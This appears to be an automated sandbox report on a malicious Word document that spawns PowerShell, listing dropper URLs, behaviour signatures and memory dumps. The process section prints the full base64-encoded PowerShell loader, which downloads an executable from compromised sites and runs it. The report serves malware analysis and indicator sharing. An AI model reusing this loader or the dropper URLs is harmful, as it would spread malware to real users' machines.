Analysis

  • max time kernel
    71s
  • max time network
    35s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    16/09/2020, 23:04

General

  • Target
    48671940833049.doc
  • Size 187KB
  • Sample200916-txf2snaykx
  • SHA256 c95b5dca5208b5d4dea488991b6cae5bc1d6e7686af278285ea7e77a3b71cd03
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://dtyl.shop/wp-content/W68Nx/

  • exe.dropper

    https://star-speed.vip/wp-admin/U2jRIg/

  • exe.dropper

    https://cshub123.cn/wp-admin/Gajs/

  • exe.dropper

    https://viettellogistics.com.vn/wp-content/oS4/

  • exe.dropper

    http://cococat.se/wp-admin/2Oaf/

  • exe.dropper

    http://andresirjan.ir/wp-admin/JSH/

  • exe.dropper

    https://sptrade.com.br/wp-includes/iFZOvL/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\48671940833049.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1264
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABDADIAdgBhAGkAagA1AD0AKAAoACcAUAAnACsAJwBjAHUAJwApACsAJwB1ACcAKwAoACcAdAAnACsAJwByAHUAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAFIAcABSAG8ARgBJAEwARQBcAEgAWQAzAHkAdAAzAGkAXABTADgASwA0ADkAdQBtAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAFUAYABSAEkAdABgAFkAUAByAG8AYABUAG8AYwBvAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAyACwAIAB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAnACsAJwAxACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAFMAawB5AHEANwBoAG0AIAA9ACAAKAAnAFgAMgAnACsAKAAnADgAJwArACcAegAwADMAJwApACsAJwAxAGQAJwApADsAJABZAHQAaAB4AGIAcgBmAD0AKAAoACcATwAnACsAJwBuAGUAJwApACsAKAAnAHcAJwArACcAbQA5ACcAKQArACcAYgAnACkAOwAkAFcAZABhAGkAZAA4ADYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB3ACcAKwAnAHYATwAnACkAKwAoACcASAB5ADMAJwArACcAeQB0ACcAKQArACgAJwAzAGkAJwArACcAdwB2ACcAKQArACgAJwBPACcAKwAnAFMAOAAnACkAKwAoACcAawA0ACcAKwAnADkAJwApACsAKAAnAHUAbQAnACsAJwB3ACcAKQArACcAdgBPACcAKQAuACIAUgBlAHAATABhAGAAQwBlACIAKAAoACcAdwAnACsAJwB2AE8AJwApACwAWwBzAHQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAFMAawB5AHEANwBoAG0AKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABOAGIAcQBpAHkAdABpAD0AKAAnAFQAJwArACgAJwA4ACcAKwAnAGgAeQB4AGcAJwApACsAJwBtACcAKQA7ACQAVwB0ADAAcgBlAGkAcwA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgB3AEUAYgBjAEwAaQBlAE4AdAA7ACQARQBxAHEAagA1AGgAOQA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAA6ACcAKwAoACcALwAvAGQAJwArACcAdAB5ACcAKQArACgAJwBsAC4AcwBoAG8AcAAvAHcAJwArACcAcAAtACcAKwAnAGMAbwBuAHQAZQBuACcAKwAnAHQALwBXADYAOAAnACkAKwAoACcATgB4ACcAKwAnAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACcAcwAnACsAKAAnADoALwAvAHMAJwArACcAdABhAHIAJwArACcALQAnACkAKwAnAHMAJwArACgAJwBwACcAKwAnAGUAZQBkAC4AJwArACcAdgBpACcAKQArACcAcAAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAJwArACcAZAAnACsAJwBtAGkAbgAvAFUAJwArACcAMgAnACsAJwBqAFIASQBnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAoACcAcwA6ACcAKwAnAC8ALwAnACkAKwAnAGMAJwArACgAJwBzAGgAdQAnACsAJwBiADEAJwApACsAKAAnADIAMwAnACsAJwAuAGMAbgAvACcAKwAnAHcAcAAtACcAKQArACcAYQAnACsAKAAnAGQAbQBpAG4ALwBHACcAKwAnAGEAJwArACcAagBzACcAKQArACcALwAqACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAcwA6AC8AJwArACcALwAnACkAKwAoACcAdgBpAGUAdAB0AGUAbABsACcAKwAnAG8AJwArACcAZwBpAHMAdABpACcAKQArACcAYwBzACcAKwAoACcALgBjACcAKwAnAG8AJwArACcAbQAuAHYAJwApACsAJwBuAC8AJwArACcAdwAnACsAKAAnAHAAJwArACcALQAnACsAJwBjAG8AbgB0AGUAbgB0ACcAKQArACgAJwAvAG8AUwA0ACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAA6AC8ALwBjAG8AJwArACcAYwAnACsAJwBvACcAKQArACgAJwBjAGEAJwArACcAdAAuAHMAZQAvACcAKQArACgAJwB3ACcAKwAnAHAALQAnACkAKwAoACcAYQAnACsAJwBkAG0AJwApACsAKAAnAGkAbgAvADIAJwArACcATwAnACkAKwAnAGEAJwArACgAJwBmACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBhACcAKQArACgAJwBuAGQAJwArACcAcgAnACkAKwAoACcAZQAnACsAJwBzAGkAJwApACsAKAAnAHIAagBhAG4ALgAnACsAJwBpACcAKQArACgAJwByAC8AdwAnACsAJwBwACcAKQArACcALQAnACsAKAAnAGEAZABtAGkAbgAnACsAJwAvACcAKwAnAEoAUwBIACcAKwAnAC8AKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAoACcAcABzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBzAHAAdAByAGEAZAAnACsAJwBlACcAKQArACgAJwAuAGMAbwAnACsAJwBtACcAKQArACcALgBiACcAKwAoACcAcgAvAHcAcAAnACsAJwAtACcAKQArACcAaQAnACsAJwBuACcAKwAnAGMAJwArACgAJwBsAHUAZABlAHMALwAnACsAJwBpAEYAJwArACcAWgBPAHYATAAnACkAKwAnAC8AJwApAC4AIgBzAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE0AZQBrADEAeAB3AHUAPQAoACgAJwBLAHcAJwArACcAXwBlACcAKQArACcAcAAnACsAJwA5AHUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVABpADgAaABuADEAcAAgAGkAbgAgACQARQBxAHEAagA1AGgAOQApAHsAdAByAHkAewAkAFcAdAAwAHIAZQBpAHMALgAiAGQAYABvAHcAYABOAGwATwBhAEQAZgBgAEkAbABFACIAKAAkAFQAaQA4AGgAbgAxAHAALAAgACQAVwBkAGEAaQBkADgANgApADsAJABXADYAcAAxAGoANwBoAD0AKAAoACcASAA1ACcAKwAnADgAZQAnACkAKwAoACcAagByACcAKwAnAGwAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAVwBkAGEAaQBkADgANgApAC4AIgBMAGUATgBgAEcAdABoACIAIAAtAGcAZQAgADIANwAxADkANAApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABXAGQAYQBpAGQAOAA2ACkAOwAkAEMAZQBoAHkAbABoADkAPQAoACcAVwA1ACcAKwAoACcAYwB1AGQAJwArACcAMAA0ACcAKQApADsAYgByAGUAYQBrADsAJABLADQAMwAzAHgANAB3AD0AKAAoACcAVwBxACcAKwAnADUAJwApACsAJwAxACcAKwAoACcAcAAnACsAJwBtADkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAZQBsADQAbQBlAHQAPQAoACgAJwBNACcAKwAnAGkAbwAnACkAKwAnAGMAJwArACgAJwBmACcAKwAnADcAaAAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1924

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1264-2-0x0000000008A30000-0x0000000008A34000-memory.dmp

        memory/1264-5-0x0000000006FF0000-0x00000000071F0000-memory.dmp

        memory/1924-6-0x000007FEE9880000-0x000007FEEA26C000-memory.dmp

        memory/1924-7-0x0000000001E40000-0x0000000001E41000-memory.dmp

        memory/1924-8-0x000000001AB50000-0x000000001AB51000-memory.dmp

        memory/1924-9-0x00000000023D0000-0x00000000023D1000-memory.dmp

        memory/1924-10-0x0000000002330000-0x0000000002331000-memory.dmp

        memory/1924-11-0x000000001A980000-0x000000001A981000-memory.dmp

        memory/1924-12-0x000000001B680000-0x000000001B681000-memory.dmp